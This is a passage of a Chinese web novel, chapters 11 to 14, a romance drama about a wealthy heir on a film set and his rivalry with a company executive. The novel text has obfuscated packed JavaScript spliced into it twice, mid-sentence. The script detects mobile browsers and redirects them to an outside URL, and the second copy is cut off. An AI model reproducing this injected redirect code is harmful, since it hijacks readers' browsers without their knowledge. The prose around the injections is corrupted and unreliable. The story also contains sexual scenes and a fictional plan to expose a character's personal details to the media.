女二,一个清纯小白花,肤白貌美黑长直,一双眼睛灵动得像两颗水晶,长相气质甩男演员们十万八千里,据说是燕京电影学院的优秀毕业生,也是戚时这几年要捧的新人,不过漂亮归漂亮,人性格似乎有点死板,全程干巴巴地坐着,不太会来事儿。 这个太呆,他喜欢更机灵一点的。 女主,老演员了,三十来岁的人,二十出头的皮肤状态,传闻在演艺界很有些手段,泡过不少大佬,何湛程在沪上的某次珠宝晚宴上见过她,她当时正和他二哥打得火热,全球代言人来着。 她一来就坐到他身边打招呼,语气亲昵地说着话,问候他爸,问候他妈,对伯父伯母表达了深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409020|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切的思念,仿佛他是她失踪多年的弟弟。 何湛程漫不经心地笑着,不时敷衍地举杯和人碰一下:“姐姐最近又变漂亮了。” 这个太老了,脸上不知道打了多少针,身上科技含量最低40%,他喜欢纯天然的。 整个酒桌枯燥乏味,何湛程没兴趣参与他们的商业互吹,全程埋头吃饭喝酒,又给戚时发了几条短信—— 戚时短信没给他拉黑,好歹那人从他这里拿到了何闽轩的联系方式,不至于对他做太绝。 晚七点八分: —二哥,我到剧组了,好无聊 晚七点十五分: —主演没你好看 —也没我好看,嘿嘿 晚七点半: —你让茉莉给我选的房间我看到了,谢谢你的关心,有机会我也会好好报答你的 晚七点四十: —回我 晚八点: —戚时,我发现你这人挺不懂礼貌的 戚时不知道干啥呢,一条都没回,也不骂他,真没意思! 茉莉也留下了,没走,何湛程猜着她可能本来就没打算立刻走,只是不想让他盯上自家艺人罢了。 饭桌上,茉莉领着小白花敬了一圈酒,又特别对女主演吹捧一番,请女主演多带带她们晶晶,推着小白花过来给女主演敬酒,叫自家艺人称呼“XX姐”。 何湛程不禁惊叹于茉莉的酒量。 这才半场,小白花明天上午有戏,今晚是以茶代酒,茉莉就不一样了,二两白酒下肚,仍旧面不改色谈笑风生,想必是久经沙场了。 看来做戚时的秘书还挺有门槛的,他想,秘书都这么猛,做老板的岂不是更猛? 不知怎的,脑海中突然浮现起那晚戚时趴在方向盘上咬牙忍痛的样子。 “你不知道,这世上有些孩子连父母都没有……” “我们老板见过它一次后,就总是惦记着它……” “诶诶诶,老大,”镜头追踪着一个边走边脱衣服的高大男生进去更衣室,“这我拍的咱大学最后一个视频了,给个面子配合一下呗!” “滚蛋,”大门砰地一关,“没看见老子正换衣服呢!” “哎呀拍你换衣服我才有播放量嘛!” “你他妈怎么不拍老子上厕所?” “诶呦喂我的好哥哥,要不是播不出去,你以为我不想?” “滚犊子!” “诶诶诶,老大,不闹了,我代表粉丝们正式采访你一下,接下来毕业了你要干啥呀?” “不知道,反正这破书老子读够了,谁再让我念书,我他妈直接跳楼。” “啊,可你不是被保研了吗?” “谁说保研就一定要上?切,老子要自由!我告诉你,从今往后,谁也管不了我!” “好家伙,这么拽?连你哥也管不了你了?” “我哥……”他噎住了。 接着,一声无奈叹息: “我哥管得了。” 何湛程垂眼看着杯中红酒。 他心里突然有点不舒服。 稀奇?怜悯?嫉妒?膈应?吃醋? 吃一个跟自己八竿子打不着的人家亲哥哥的醋? 莫名其妙的。 仰头,猛地将杯中酒一饮而尽。 戚老二要是在他面前也这么乖就好了。 十点才散席。 何湛程才没兴趣跟踪他们主演们都住哪儿。 等人都走差不多了,茉莉和那个晶晶还留在包厢里说话,他有点困,酒喝得不少,人也微醉,半迷糊着去了趟卫生间,想着戚老二那张脸,低声呻|吟着,在厕所里自我陶醉来了一发。 出门洗手的时候,碰上了男二,对方跟他招呼,脸其实还行,就是表情有点拘谨。 何湛程知道他听见了。 男二殷勤地来扶他,姿态彬彬有礼,温声称呼他一声“三少”,宽大的手掌按在他肩上,来回摩挲着,不太敢用力,胸膛也和他有些间隔,显然在忌惮他的身份,但气息又焦躁地蠢蠢欲动着,似乎很想要和他贴近。 这生涩的勾引逗得他一笑。 他笑得醉眼朦胧,轻轻“嗯?”一声,眼睛一眨不眨地望着对方局促的脸。 “不关门么?” 他要让对方知道真正的勾引是怎样的。 对方呼吸立刻急促起来,满眼染上赤红的欲|望,猛地一把将他推到门后,整个人饿狼扑食般压了过来,动作粗|暴到恨不得将他揉进自己的身|体。 何湛程听见对方的心脏在狂跳。 “我、我好像爱上你了。” “不,我爱你。” 那人试探地吻了下来,何湛程却使坏将头一偏,嘴唇贴在对方耳边,勾起一弯薄凉的弧: “喂,我很挑食的,你太丑了。” 对方如头顶猛浇一盆冷水,立刻不知所措尴尬地僵在原地。 何湛程一条胳膊浪荡地搭在那人脖子上,半裸的肩膀风情无限,另一手抬起,拍打面团似的,不留情地啪啪啪拍了几下对方英俊的脸,下巴一抬,冲人指了下身后的镜子。 对方低下头,一张脸窘迫得快要滴出血来。 “还有,”何湛程俯下身,笑眼迷蒙地对人说着悄悄话,“告诉你个秘密,我不和人接吻的。” 大概是尊严被践踏到了极点,又或许对方真的对他心存几分情谊,何湛程话音刚落,对方局促紧握的手上就砸上了一滴泪珠。 何湛程被这滴泪取悦到了。 他弯下腰,神情认真地细赏了这件作品,而后,突然疯了般,踩着某种愉悦的节奏摔开门,一路猖狂癫笑着离开。 12. 第12章 “……你看你又哭,你这性子放不开,以后可在圈子里怎么混啊?” “你经纪人那会儿还跟我告状呢,说你成天跟个闷葫芦似的,见了人也不知道打声招呼,你年纪也不小了,有些事还要我教你吗?你得积极表现自己才会有人愿意带你啊!” “上次在会所见陈总,戚总是有意举荐你,想带你在投资人面前混个眼缘儿,万一人家陈总觉得你不错,以后再投其他剧,跟导演随口说捎带你一个,你蒋晶晶还不愁好日子吗?你当陈北劲那种级别的人物是咱们说见就能见的?再说了,你不也是想要争取这个机会才主动去的吗?戚总脾气是臭了点儿,但为人做事儿光明磊落,他强迫你怎样了吗?” “就敬杯酒的事儿,撒个娇,说两句好话儿,把氛围搞得热闹些,让人对你印象好点儿,以后资源一抓一大把,不然你以为呢?你觉得咱老板是那种硬把自家孩子往投资人床上送的人吗?” “难道……”女孩扯着纸巾擤鼻涕,低声抽噎,“难道不是吗?我知道咱公司xx姐和xx姐都在和xx导睡过,xx哥还被xx总包养了,戚总那天那意思,不就是让我……不就是……” 说着,忍不住又哭起来。 “那是他们为了自己的前途做出的选择。戚总的原则一向是不阻拦,也不强求,你们这些人怎么上位,全凭你们自己的手段,你当他这么闲?他是管整个集团的头儿,哪有空天天盯着你们跟谁好?” 茉莉冷声道:“晶晶,你和戚总是什么关系,我想你应该比我清楚,我也希望你明白,咱公司艺人这么多,上头愿意砸钱培养的也就那么几个,你是个好苗子,但你每次都这么不争气,尤其是上次,一个十多万的局,就为了让你一个人表现,你却在哪儿装傻充愣,戚总火气能不上来吗?” “我……”女孩低头捏着裙子,“我当时不知道,他太凶了,吓坏我了……” “你当时不知道,可你一直都不知道么?”茉莉蹙起眉头:“他发那么大脾气,后来有单独训过你一次吗?你一没作品,二没人气,刚出道就能跟刘导合作,你知不知道公司里多少新人在嫉妒你?如果不是戚总力排众议,非要保你做这部剧的女二,你现在还一个人在无名小剧组里熬通宵跑通稿呢!眼下,就那么几杯酒、几声招呼的事儿,你怎么就拉不下那个脸?!” 茉莉一脸恨铁不成钢,越说越咬牙切齿,见女孩被批评得又要哭,天灵盖登时一阵气血涌流,险些气晕过去。 她一把抓起桌上剩的半瓶老白干,咕咚咕咚灌了自己两口,然后拍着胸脯给自己顺气。 砰地一拍桌子,低吼道:“连何湛程那样的纨绔子弟进了组都知道要对那群老登笑脸相迎,你!你一个名不见经传的小演员究竟在矜持什么!!” 哟! 何湛程唇角一勾,懒洋洋地倚靠在门口墙边,心想这圈子里还真是八卦趣事多啊,偷听了半天,咋还扯到他身上来了? 低头掏手机给戚时发信息: —喂,你家秘书喝多了有点儿口无遮拦啊 还有,何湛程这偷听了半天,大概率能捋清之前戚时和这个女二发生了什么事: 戚时和陈北劲一共签过两次合同,第一次陈北劲反悔了,不想要那几个女演员,于是让戚时撤了换人; 第二次戚时就重选了一个,本意是领着新人到金主这边献献殷勤,赶紧把事儿给定了、赶紧开工赚钱,但没想到新人——也就是那个小白花,明明事先交代过了,但关键时候掉链子,搞得戚时脾气腾地一下就上来了,当场把人姑娘给折辱了一顿。 啧,戚老二这个毫无绅士风度的畜生,怎么还对人家女生动手呢? 不就是一个十多万块的局么,吹了就吹了,至于么? 而且这人也真有意思,自己把人姑娘惹哭了,快小半年了都拉不下面子,非得让茉莉来做中间人,还真是…… 何湛程脸突然就沉了下来。 妈的,戚时喜欢这个叫蒋晶晶的小白花! “茉莉姐,你喝太多了,今晚先去我那边歇着吧……” 蒋晶晶笨拙地架着醉得东倒西歪的茉莉走出来,发现何湛程在门口玩儿手机,她仰起头,正准备尝试着主动和人打招呼,脸上刚挂上阿臾谄媚的笑,猝不及防就撞上对方漠然不屑的脸。 一米八三四的高个子,居高临下的俯视,一双眸冷箭似的,嗖的一声,暴戾地将她刺穿。 小姑娘吓得脸都僵了,一瞬间大力出奇迹,甩手将茉莉扛肩上,脚底卷着无敌风火轮就跑走了。 “呵!”长而空洞的走廊,何湛程动作酷炫地举起一个手枪,神态蔑然地冲指尖轻轻一吹:“不堪一击。” *** 噗呲——! 一簇跳跃的火苗燃在床头的黑暗里,照耀在男人俊丽的脸上,空气中弥漫着粘|稠浓|郁的Xing气,他眯着眼叼着烟,下一秒,薄唇轻喷出一小片青雾,这便是一场激烈情|事结束的标志。 戚时身上淌着热汗,肌肉紧实的腰腹间沟壑深刻,汗珠凝结成线滑落进被子里,洇湿着狼藉不堪的床单,他状若未觉,姿态慵懒地靠在床头吞云吐雾,翻看这几个小时错过的手机信息。 旁边女人衣衫半解,乌黑的长发缠绕着雪白的肩,她还在痴迷依赖,水蛇一样游过来,攀爬在他身上,从小腹到胸膛,一路吻到他的肩膀、锁骨、脖子、侧颚、唇角—— 男人百忙之中瞥她一眼:“别闹。” 女人撒娇一笑,偃旗息鼓,乖顺地依偎在他的胸膛上画圈圈,小声埋怨了句“小气”。 他不让她吻他的唇。 两年多了,她自以为他们情谊甚笃,可他每次来只是例行惯事,完事后,要么靠在床头抽烟喝酒看球赛,要么直接提裤子走人,既不吻她,也不抱她,狠心无情又令人欲罢不能,她真想用指甲戳破他的胸膛,看看他的心到底是什么做的。 可大抵是他太英俊,她已经深深地爱上他了,每次都忍不住向他索吻,他拒绝,她又开始伤心。 为此甚至找他别的女人打听,才知道他本来就不和任何人接吻。 问理由,他倒纳闷地反问起来:“你不觉得两条舌头黏在一起缠来缠去很恶心么?” 她气得只想笑,他们连更恶心的事都做过了,他又在为谁守着那份齿间的贞洁? 其实她知道,他根本没把任何人放在心上,从认识到现在,他念念叨叨最多的就是他哥—— 他哥从小对他怎么样、他哥为他放弃了什么、他哥比他帅多了、他哥是世界上最好的父亲和哥哥、他哥最近又闹绯闻,他很怕他哥选错人,怕他哥被伤害、他哥不容易了半辈子,他只想努力让他哥后半生享福、他哥本来可以有另一种健康美满的人生……他哥!他哥 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“蒋灵,”他叼着烟扭头问,“你说,一个小你七岁的小孩儿成天发消息骚扰你是什么意思?” 她撩了下头发,抬头望他:“嗯?” 无论多少次,她听他叫自己的名字都会恍惚一下。 天底下真的有男朋友永远只会叫女朋友全名的么? 叫得那么生,那么冷,那么界限分明? 但可能……像他这样的人是会这样叫吧。 她自欺欺人地想。 “就是……”他吐了口烟,皱起眉头:“好几次了,但好像也不是故意找茬儿,闲着没事儿就给我发消息,可他不缺钱,也不缺工作,我骂也骂了,该折腾他的也折腾了,那小孩还跟个狗皮膏药似的粘着我不放,连行李都那么不要脸地寄到我公司——” “我看看!”蒋灵猛地坐起身,一把夺过他手机,手指飞速上下翻看着对方和他的消息记录。 戚时被她的反应逗得一笑,抚摸宠物似的,抬手揉了揉她的头:“看把你吓的,那小孩儿是男的。” 蒋灵堪堪笑着,一时不知该骂他是直肠脑子,还是该庆幸他有一个直肠脑子。 她只注意到他给对方备注: 小傻子。 他自己难道没察觉到这个称呼过于亲昵了么? 小傻子还甩过来一句“回我”。 她都不敢要求他“回我”。 “他是谁啊,”她心怀忐忑地问,“什么来头啊?” “江南来的富豪少爷,成天快闲出屁来的二世祖,找我混日子来的,他大哥觉得全中国只有我能治得了他,呵,他大哥高估我了,这又不是我弟,我才懒得操心!” 戚时半眯着眼,继续靠在床头吞云吐雾,指间不停,回了对方一个“滚”,又发一条警告: —你那行李我回头给你送家去,说了以后有事找茉莉,别他妈给我发信息了,省得老子的女人看见了瞎吃醋 小傻子秒回,深谙世故的程度令人咂舌: —你现在是不是在床上? 就这一瞬间,戚时心脏猛地剧烈一跳。 他居然有种棋逢对手的雀跃!! 整个大脑神经都亢奋起来,然后,露出恶劣一笑: —对啊,不然呢?在你脸上? 13. 第13章 嚓! 嚓嚓! 嚓嚓嚓嚓嚓嚓嚓嚓!!!! 狂暴的噪音惊得飞鸟四散,剧组正忙活的工作人员们被吵得脑袋都要炸了,纷纷停下手里活儿,不约而同聚拢在一起,看疯子似的,集体盯着四合院中央,看那位据说来头不小的千金大少爷作妖。 大少爷今天的装扮都很应景,一身小两万的名牌冲锋衣全黑套装,肤白貌美,脸色极臭,脚踩早已绝版的运动鞋,两手戴着农民伯伯干活儿常用的白手套,正举着一把六斤重的大铁锹,两眼发红地对着树坑里刚铺好的细碎的石灰岩块儿一通狂铲。 嚓嚓!!! 嚓嚓嚓嚓嚓!!!! 节奏变化即情绪起伏,少爷索命似的,刚来第一天就发飙,也不知是谁得罪他了,连剧组里咖位最大的女主角都躲在房车里半天没敢吭声,导演路过也装没看见,剩下的人就更不知道怎么办,既着急窝火,又不敢贸然上去。 在一边吃瓜旁观耽误时间,这烧得是剧组的经费,但强做出头鸟往枪口上撞,那丢的可就是他们自己的饭碗了。 大家都很识相地保持沉默。 “三少!”一声邀功似的吆喝,接着,一个人风尘仆仆地从院外小跑进来,径直就朝那位任性闹半天的祖宗凑了过去。 众人激情泪目:勇士啊!! “三少?”这人叫了何湛程好几声,但显然对方已进入疯魔状态,持续不停地铲铲铲,他不禁将嗓门拔高了点儿,冲人喊:“三少!三少!!手机修好了!!!” 何湛程动作一停,扭过头,瞥一眼对方,又瞥一眼对方手里递上来的手机。 何湛程挑了挑眉。 下一秒,“哐当”一声,铁锹被扔到一边的砖地上,何湛程脱掉手套,随手塞在对方怀里,然后接过修好的手机,迈着长腿,五六步就走到廊檐下,坐到导演今早给他发的一只小椅子上。 俨然一副他才是总导演的派头。 呼—— 不管怎么说,世界终于安宁了,众人集体松一口气,纷纷重新忙碌起来。 何湛程低头重启着手机,随口问了句“有水么”,旁边立刻递上来一瓶矿泉水,顺势蹲凑到他旁边说话:“这边都是景区商业街,还是在山里,修手机的店还真不太好找,我和助理一大早专门开车去城里修的,你看看怎么样?” “能怎么样,”何湛程仰头灌了两口水,冷笑一声,“谁让是我先看上的他呢,忍着呗!” “这是……”对方尴尬笑两声,“这是跟女——男朋友吵架了吧……” 男朋友? 这话把何湛程给整笑了。 跟戚老二那种人谈恋爱,他还不如在山上随便找棵树上吊算了。 何湛程打量着男二那张还算英俊的脸,笑意温柔:“你管我?” 男二猝不及防,又被他伤了一下,低头委屈地抠指甲:“我刚帮你修了手机……” 何湛程啧一声,尽管心情不太美丽,还是伸手拍了拍对方的肩膀,安慰道:“行了,我没那么小气,看在你帮我跑腿的份上,昨晚的事儿就掀篇儿了,中午你请我吃个饭吧!” 男二惊喜抬头:“真的?” 何湛程恩赐般一抬下巴:“当然!” 他一整夜都被戚老二气得发懵,一想到昨晚他给人一连串发那么多条消息,戚时却忙着在床上和别的女人滚床单,还他妈滚了好几个小时,他就觉得自己是真傻逼啊! 早上没吃饭就跟着大部队坐车来剧组了,导演认为他既然是来历练的,就要求他各个组都体验一下,这两天是道具组,他上午又是抬树装车又是爬梯子挂灯笼的,干得全都是力气活儿,现在饿都快饿死了,中午他不让男二请吃饭,难不成他要自己去喝西北风? 茉莉早上五点多就走了,临走前告诉他,她家戚总怕他吃不惯平民食物,所以剧组盒饭没有他的份儿。 呵呵,戚老二那个混账东西! “你喜欢吃法餐吗?”男二问:“我刚才回来路上看到山下有家法式餐厅挺多人在等号排队,感觉味道应该差不了。” 何湛程皱眉:“排队?那我得等到什么时候才能吃上?” “没关系,”男二温和地笑,安抚般拍拍他的膝盖,“今天没我的戏,我叫我助理先去帮咱们去排,等待会儿你下班了,我开车带你去吃。” 哼,这还差不多。 何湛程鼻音里挤出一声勉强凑合的“嗯”来。 “你在这边是一个人吧?我看刘导他们忙得也顾不上你,他们在A组拍,我不知道他为什么把你分配到B组了,如果我拍戏的时候你遇到困难了,你就去找我助理小李,”说着,对何湛程指向一个背着包拿剧本的黄毛小胖墩,“我跟他交代过了,先紧着你的事办。” “知道了,”何湛程不太耐烦,“你先忙你的去,我一个人待会儿。” 男二抚在他后背摩挲的手掌又慢慢收了回来,站起身冲他一笑:“那我先去背台词了,你坐在这里乖乖的,等我回来。” 何湛程低头玩手机,没理他。 男二小跑着走了。 何湛程咬牙切齿地嗤了一声。 真是世风日下虎落平阳,按以前,他早一巴掌呼人脸上了。 男二本名叫裴阅山,二十四岁,长得一表人才,全平台光颜粉就达两千万,艺名裴玉,取“温润如玉”的意思。 昨晚卫生间闹得那一场,裴玉待厕所缓了好半天才出来,正不巧,回包厢拿东西时,看到何湛程在走廊摔炮仗似的,抡着胳膊噼里啪啦地摔手机,屏幕砸得稀巴烂,吓得裴玉愣住原地,一声不敢吭。 等何湛程发完火儿,开始烦躁地一个劲儿挠头发,裴玉犹豫半天,最终鼓起勇气走过来,问要不要帮何湛程修一下手机。 何湛程心烦意乱地瞥他一眼。 裴玉连忙解释他没别的意思,并重新自我介绍,说他前两年在珠宝晚宴上遇见过何湛程,希望以此唤醒何湛程的记忆。 那时他还是个到处跑商务的七八线,参加晚宴也不是主办方请他,是他自己花钱进来露脸的,坐的位置也偏僻,无人问津的角落,直到有人过来找他搭话。 一个五十多岁的油腻卷发男,拿着名片就坐到了他旁边,自称是大有来头的杂志摄影师,去年刚和xx顶流xx大咖合作过,一边说,一边对他动手动脚,肥肿萝卜手伸到桌底下摸他大腿,搞得他很局促。 经纪人坐在一旁视而不见,他也不敢吭声,何湛程那年才十八岁,一米八多的大高个子,穿着奢侈品牌高定西装,大背头,笑眼迷离,手里晃着红酒,整个人珠光宝气的,从他身旁路过。 他低头忍受着陌生男人的骚扰,闻着少年经过他时身上散发出的香味,不禁自卑地想,像少年这样的人物恐怕一辈子都遇不到他这样的处境。 没料少年突然就停在了他身边,毫无预兆地抄起一整瓶香槟,哗啦啦浇在那个摄影师脑袋上。 所有人都惊呆了。 摄影师被当众羞辱,骤然狂怒拍桌而起,一转身,正对上何湛程的脸,态度立刻三百六十度丝滑大转弯,连忙鞠躬说对不起。 跟何湛程说完,又扭头对裴玉说,复读机似的,满嘴抱歉自称该死,见何湛程没反应,边说边退,一溜烟跑了。 “没劲。”少年兴致缺缺,举杯喝酒。 猩红的酒液灌进雪白的喉,粗大的喉结滚动,一下,又一下,在定格住的镜头下缓缓起伏着,勾起人无限欲望。 少年随手把空掉的高脚杯放到他桌边,然后头也不回地走了。 裴玉因为这件事一直对何湛程抱有好感,他没想到这小少爷完全不记得他,他自认长得还挺有辨识度的。 何湛程懒得听他讲什么故旧情长的恩怨牵扯,把手机扔给他,让他修好了明天带剧组来。 他手机没贴膜,也没壳,平白无故挨一通摔,裂得跟件艺术品似的,就差没成渣渣了,除了机芯基本要全换一个遍,价格最低三千块。 嗯,他没钱。 “小何!” 道具组带他那大哥从东厢房推出来一箱重物器材,隔着老远喊他:“来,休息好了就赶紧把这东西装车,送陈副导那边去!快点儿啊,二十分钟后他们就要用!” 刚点开短信准备给戚时来两句狠的,猝不及防被人一声催促打断,何湛程低声咒骂了句,然后关手机揣裤兜,再抬头,一脸阳光灿烂地小跑过去接箱子: “来了哥!” *** 戚时整个人斜躺在总裁办的真皮沙发里,两条逆天长腿,一脚踩地,另一条胡乱搭在沙发扶手上,本来是午睡时间,他闭眼才没一会儿,隔两分钟就去扒拉一下短信,看看小傻子有没有给他回复。 答案是没有。 戚时将手机扔一边,不免觉得有些扫兴。 从昨晚何湛程问的那一句话开始,他承认自己对小傻子有点高山流水觅知音的感觉,本想着一来一往,领教下对方的能耐,没料他这才发出一句,敌方就怯懦退缩了,就像赛场上他自以为很帅气地抛出去一个好球,对方接都没接扭头就走了,一拳打在棉花上,莫名搞得人心情很差劲。 这小傻子战斗力忒垃圾。 嗯,得调教。 戚时揪着胸前的领带缠缠缠,思量片刻,霍地坐起身,冲门外一声喊:“茉莉!” 茉莉闪电般出现,推门小跑到桌前:“戚总。” 戚时笑容可掬:“何老三那几箱子行李是不是还放公司仓库?” 茉莉不明所以,点点头:“对,我已经派人安排了,下午就装车送走。” 戚时大手一挥:“不用了,怪浪费钱的,给他捐了吧。” 茉莉人傻了:“啊?” 骨节分明的长指有节奏地敲着桌面,戚时笑容愈发灿烂:“珠宝饰品什么的都给他留着,万一是祖传的宝贝呢,衣服那些全给他捐了,嗯,就捐给山区留守儿童,算是我替他积德行善了!” 说完,不禁沾沾自喜起来,他真是个天才! 茉莉一脸无语,不知老板又抽什么疯,之前说好绝不和何湛程有任何牵扯呢? 叹息一声,委婉提醒:“戚总,据我所知,山区儿童应该穿不下一米八四成年男性的衣服。” “小事儿!”戚时随机应变,扬了扬手指:“那就都给他挂二手网站上卖了,赚来的钱,再买新衣服给山区儿童。” 茉莉:“……” 她从前怎么不知道老板这么慈悲心泛滥? “不太好吧。”茉莉试图劝。 “有什么不好的?”戚时不以为然往沙发上一靠:“他在这儿,老子管他吃,管他住,还派秘书亲自开车接送,我卖他几件衣服咋啦!” 茉莉:“……” 老板说的管他住,不会是指那间五十块一晚专门给农民工混居的、盗贼频出的、老鼠蟑螂遍地乱爬的山间小破院吧? 管他吃,难不成是吃西北风? 戚时见她满脸犹豫,轻啧一声,也知道她太难办,抬手扯了扯领带,活络下被西装绷得浑身不适的筋骨,然后拿着手机起身往外走,回头交代着:“这样,你叫几个人来仓库拆箱子,剩下的我来安排。” 茉莉无奈应道:“好的。” 并在心里庆幸小少爷是个性格温柔的乖乖天使,不然就凭她老板这缺德劲儿,任是谁都得狂怒发飙。 仓库共三间,其中最干净的一间1703室算半个摄影棚,墙面白净一尘不染,空旷地面铺着浅灰纹地毯,屋子里摆放着公司杂货道具各类摄像器材,随便拎出一件就要五位数往上。 靠南面墙排列着二十多个大小不一的密封硬纸板箱,贴着“贵重物品,小心运输”的封条,戚时黑老大似的,西装革履踩着皮鞋,领着一帮人推门进去,手冲那边一指,语气干脆利落: “拆了。” 几个临时被叫上来的搬运工惴惴不安着,一边默契地围上去划刀开箱,一边在脑海里翻来覆去高层杀人藏尸找底下人背锅犯罪新闻,不然他们实在想不通,究竟要搬什么东西,才能让整个集团的总裁和总裁秘书亲自过来指挥。 答案很快揭晓: 先开了个小箱子,是两个半身型胡桃木玻璃窗展柜,铺着黑丝绒,低调矜贵,一层接着一层,陈设着款式多样的耳饰戒指手表镯子袖扣胸针等,宛若自带光效的柜台,五颜六色绚丽夺目,每件都是耀瞎人眼的货真价实的金银珠宝,最高层悬挂着款式各样的项链,素银链为主,间或缠绕拴在细链上的蓝宝石祖母绿宝粉红方钻……随便一条拿出来,就是举世独一份的宝物。 果真贵重物品。 茉莉守在展柜旁边痴痴地望着,完全移不开眼,搬运工们大开眼界,于是动作更加小心地拆着下一个箱子。 戚时也被那堆金山银山小小地震撼了一下。 他不是没用过好的,也不是没逛过顶奢,单他自己家的收藏品也有千八百件,但他还是头一次如此清晰地领教到,这世上原来真的有人会把一座博物馆盘在手边的。 还那么随意,那么不屑,毫无触动地任由这些东西被普通物流公司运来运去,连句“我这些东西价值多少多少钱,你要小心替我保管”都没交代过半句。 老实说,戚时从小就虚荣,知道他哥赚钱多脾气好还特别宠他,于是吃喝用穿净买好的贵的。 十二岁起,一年一部新手机,进入青春期追求名牌,收藏了满屋子球鞋和球衣,会员卡办了N张,和朋友们去外面玩,必须假装不经意成为人群里最为英俊靓丽的男生。 他皮肤永远是白皙清透的,衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他想,她根本就不爱他。 找个机会和她分手吧。 戚时低头叼上了烟,打火,猛吸一口进肺里,整个神经痛得都在发颤。 他不想每次面对她,都要思考一下他是否爱上自己的亲哥哥这个荒诞无趣的问题。 他是男的,他哥也是男的,虽然17岁那年,他哥来牢里保释他那天确实帅得有点超乎寻常,他感觉自己内心有种情窦初开的迹象,但他百分之百肯定,他对他哥,那个大他十岁的、叫戚铭的男人,只有尊敬和崇拜。 他也不会回答她。 因为他自己也无法解释这个操蛋的问题。 戚时缓缓回神儿,一转头,见何湛程那个小傻子的衣服鞋全都摆了出来。 春夏秋冬全系列,什么真丝绸缎马海毛天鹅绒貂裘,睡衣休闲装运动装西装冲锋衣风衣大衣,全套着防尘袋,比批发市场还全的罗列在那,这一堆上等好货要是挂二手全出了,那不得在京城三环拿下好几套复式公寓? 单是这也就罢了,但最可恨的是,他想要了很久但是一直买不到的几双全球限量版的篮球鞋,赫然摆在何湛程的鞋柜最下一层。 “妈的……”戚时咬着后牙槽冷笑,说不上是羡慕还是嫉妒:“一事无成,穿得比老子都好。” “老板,”搬运工抬头问他,“接下来怎么处理?” 戚时吸了口烟,环视两圈,踱步过去指挥:“这些珠宝原封不动装回去封好,下午装车送沪上,这些衣服,嗯……这两双鞋留下,剩下的全送市场部挂二手处理——” 转身看向茉莉:“不管卖多少,账目一毛不差都要做好,然后全部以‘何湛程’的个人名义捐赠给山区留守儿童。” 茉莉点头:“好。” “嗯,对了,”戚时抬了下手指,漫不经心地吩咐:“捐的时候记得先署名‘不愿意透露姓名的爱心人士’,等人刨根问底了再不经意透露几点那小傻子的个人信息,让好奇心重的人自己扒出来。” 茉莉抬头:“啊?” “做慈善么,不让所有人都知道那还做个屁的慈善?”戚时笑着轻喷一口烟,“不过呢,人更倾向于相信自己发掘出的事实,你抛个饵,让那群无聊的媒体自己咬着玩儿去,等他们自以为发现了惊天大秘密开始咋咋呼呼地到处散播,嗯……怎么说呢,傻了吧唧的,你不觉得很有意思么?” 茉莉笑着称是。 “嗯,去处理吧。” “是。” “诶!”搬运工犹豫半天,在戚时转身之际喊了他一声:“那个……老板!” 戚时回头:“怎么?” “这个也要卖吗?”搬运工举起一小包装着条白色内裤的透明袋,试探性地瞅着他:“这里面……好像有你的几张照片儿。” 戚时满头粗线问号。 何湛程的行李里怎么会有他的照片? 还是和内裤装在一起? 下一秒,整个人被雷击了一样,大脑宕机两三秒,然后跨着大长腿,疾步冲刺过去,啪的一下从搬运工手里把那包似乎被人穿过的、被塞成团状的内裤夺过来。 叼在嘴角的烟都在颤颤发抖,戚时整个脸部肌肉抽搐的将近狰狞,一边自我催眠何湛程毕竟是世家教养出来的子弟,应该不会混账到那种程度,手下却极为粗暴地撕开袋子封口,迫不及待地检查那人究竟在搞什么幺蛾子! 袋子拆开,他拿出里面散装着的、人物形象分明的四五张照片:被放大的一张他高中时期桀骜不训的帅脸、大学|运动会站在台上抱着鲜花领金牌的得意笑容,玩儿花式单杠跳在半空中耍帅的照片,被室友追踪那次衣服脱了一半的背影……好几张都是从集体合照或者视频上截下来的,甚至还细心地做了高清画质修复。 还有,一条遗留着斑斑点点粘稠痕迹的四角内裤。 戚时猛地气血上涌,差点气厥过去。 此时此刻,他恨不得将何湛程那个畜生千刀万剐,狂砍一万刀、一亿刀!!! 不,千刀万剐不足够,他只想亲手折磨死那个人,他要咬断他脖子,撕烂他的皮肉,喝他的血,再把他的骨头碾成粉扔到粪池里做化肥,才能解这备受屈辱的心头之恨! 戚时死死地把那包内裤掖在臂间,然后扭过头,警示性地盯了一圈屋里所有的人: “这件事要保密,不准和任何人提起!” 除了随即明白过来的茉莉,其余人都以为是什么信息泄露的重大事件,立刻纷纷点头。 “老板放心!我们一定守口如瓶!” 半小时后,行李全部清掉,众人逐次散去。 茉莉瞧着一动不动抱着人家内裤立在原地僵硬成雕塑的老板,有点担心他的精神状况,忍不住轻声问: “戚总,您没事吧?” “我没事吧?” 戚时缓缓扭过头,笑:“你现在该问,何湛程那个小畜生有没有事。” “他、他能有什么事啊?” “他死定了。” 14. 第14章 何湛程这几天过得挺累。 第一天,大多数人虽然不知道他身份,但看导演态度,多少对他有几分忌惮,有些爱起哄的人还跟着裴玉一块儿叫他“三少”,道具组带他的那哥也很有眼色,顶多就让他跑个腿、做点儿简单杂活,他忙不过来了,那哥还会叫人帮他搭把手。 他身高腿长的,常锻炼,力气也大,劳动量在他可接受范围内,他就耐着性子和大家伙和平相处,唯一消极怠工就是中午,他和裴玉吃饭浪费了点儿时间,回来晚了,但所有人没看见似的,谁也没说他。 第二天开始,那就不得了了,剧组所有人集体中邪似的,纷纷暴躁起来,大概是拍戏进入状态,全都忙起来了?何湛程闹不清,见他们一个接着一个,冲他扯嗓门吆喝、大呼小叫,一口一个“小何”,使唤他跟使唤狗似的,随便来个人都能骂他两句。 